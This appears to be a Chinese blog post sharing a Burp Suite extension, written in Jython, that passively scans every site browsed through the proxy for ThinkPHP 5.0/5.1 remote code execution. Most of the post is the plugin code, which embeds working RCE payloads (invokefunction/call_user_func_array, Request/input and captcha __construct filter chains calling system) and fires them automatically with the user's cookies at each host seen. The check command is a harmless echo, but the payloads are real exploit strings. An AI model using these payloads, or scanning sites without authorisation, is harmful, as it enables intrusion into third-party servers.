Burp 一个简易的tp5-rce被动扫描插件

最近学了学burpsuite的插件开发,然后尝试写了一个tp5的rce漏洞的检测插件,这个作用于proxy和repeater模块,可以被动扫描所有经过代理的流量。如果存在漏洞,会产生报警并显示payload

插件代码

# -*- coding:utf-8 -*-
from burp import IBurpExtender
from burp import IHttpListener
from burp import IHttpRequestResponse
from burp import IRequestInfo
from burp import IHttpService

import re
import urllib2
import ssl
import sys
import random

print("check tp5\n author:rerce")

class BurpExtender(IBurpExtender,IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()  #这个对象有很多好用的方法帮助我们解析http请求
        self._callbacks.setExtensionName("tpcheck")
        self.cookies = callbacks.getCookieJarContents() #返回一个ICooike对象,这个用来获取cooike
        self.paylaod_list={
            "5.0":["/?s=index|think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=echo%20",
                   "/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20",
                   "/index.php?s=captcha _method=__construct&method=get&filter[]=system&get[]=echo%20"],
            "5.1":["/?s=index/\\think\Request/input&filter[]=system&data=echo%20",
                   "/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20",
                   "/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20"]

        }
        callbacks.registerHttpListener(self)    #注册我们这个插件为一个监听器
        reload(sys)
        sys.setdefaultencoding('utf8')

    # def get_request_info(self, request):
    #
    #
    #     return analyzedRequest, reqUrl
    # 版本探测
    def detect(self,url_base):
        url_base = url_base+"/?s=xxx"
        #print(url_base)
        try:
            request = urllib2.Request(url_base)
            content = urllib2.urlopen(request).read()
            version = re.findall('<span>V(.*?)</span>', str(content))
            if len(version) == 0:
                return "ALL"
            elif version[0][:3] == "5.0":
                return "5.0"
            elif version[0][:3] == "5.1":
                return "5.1"
            else:
                return "ALL"
        except urllib2.HTTPError as err:
            version = re.findall('<span>V(.*?)</span>', str(err.read()))
            if len(version) == 0:
                return "ALL"
            elif version[0][:3] == "5.0":
                return "5.0"
            elif version[0][:3] == "5.1":
                return "5.1"
            else:
                return "ALL"

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if toolFlag == 64 or toolFlag == 4: #判断是否为proxy或者repeater模块
            if not messageIsRequest:    # 判断是否为返回信息
                request = messageInfo.getRequest()
                HttpService = messageInfo.getHttpService()
                host = HttpService.	getHost()
                port = HttpService.	getPort()
                Protocol = HttpService.getProtocol()
                url_base = Protocol+"://"+host+":"+str(port)
                #print(Protocol)
                #print(host+str(port)+Protocol)
                #print(request)
                analyzedRequest = self._helpers.analyzeRequest(request)
                reqHeader = analyzedRequest.getHeaders()
                #print(reqHeader[1])
                #key = re.findall('''name="key" value="(.*?)"''', str(res.text))[0]
                #domain = "".join(re.findall('[^Host: ]',a))
                #print(domain)
                #print(self.cookies[0].getName())

                # proxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080'})
                # opener = urllib2.build_opener(proxy)
                # urllib2.install_opener(opener)
                # 获取该情报的cooike
                cooike = ""
                for i in self.cookies:
                    if i.getDomain() in host:
                        cooike += i.getName() + "=" + i.getValue() + ";"
                #print(cooike)
                headers = {
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0",
                    "Content-Type": "application/x-www-form-urlencoded",
                    "Cookie": cooike
                }
                ssl._create_default_https_context = ssl._create_unverified_context  # 忽略证书,防止证书报错
                # 判断目标站的tp版本,不同版本有不同payload
                version = self.detect(url_base)
                #print(version)
                if version == "ALL":
                    payload_loading = self.paylaod_list['5.0'] + self.paylaod_list['5.1']
                else:
                    payload_loading = self.paylaod_list[version]
                result = []
                key = str(random.randint(1000000000,10000000000))
                # 打payload过去
                for payload in payload_loading:
                    #payload = "/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami"
                    payload = payload.split(" ")
                    #print(payload)
                    if len(payload) == 1:
                        url = url_base+payload[0]+key
                        try:
                            request = urllib2.Request(url, headers=headers)
                            body = urllib2.urlopen(request).read()
                            if key in body:
                                result.append(payload[0])
                        except urllib2.HTTPError as err:
                            if key in err.read():
                                result.append(payload[0])
                    else:
                        #print(payload)
                        url = url_base + payload[0]
                        data = payload[1]+key
                        try:
                            request = urllib2.Request(url, data=data, headers=headers)
                            body = urllib2.urlopen(request).read()
                            if key in body:
                                result.append(payload[0]+"------------->"+payload[1])
                        except urllib2.HTTPError as err:
                            if key in err.read():
                                result.append(payload[0]+"------------->"+payload[1])
                #print(result)
                # 如果有攻击成功的就会将payload添加到result
                if len(result):
                    print('扫描完毕:')
                    print(host+' 存在TP5RCE漏洞')
                    for i in result:
                        if i != result[-1]:
                            print("payload: "+ i + key + '\n')
                        else:
                            print("payload: " + i + key)
                    print("-"*50)
                else:
                    print('扫描完毕:\n' + host + ' 不存在TP5RCE漏洞')
                    print("-" * 50)

使用方法

成功导入插件后,如下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X1GlJlYC-1650360415269)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220419171644076.png)]
浏览器打开代理,访问不存在漏洞的站点,期间对于所有的请求都会进行漏洞检测,然后会在output中显示存不存在tp5的rce漏洞
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R3ADwJDK-1650360415270)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220419171843645.png)]
现在打开我们搭建的存在漏洞的tp站点
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Oz8XvDGP-1650360415271)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220419172113934.png)]
可以看到当我访问127.0.0.1时一共发出了两个请求,我们的127.0.0.1存在漏洞,且给出了payload。而e.topthink.com是没有漏洞的
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g8NGyymZ-1650360415271)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220419172156582.png)]

这个插件效率还不是很高,后面深入学习后会一直修改

参考

https://www.anquanke.com/post/id/215351#h3-17

https://portswigger.net/burp/extender/api/index.html

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值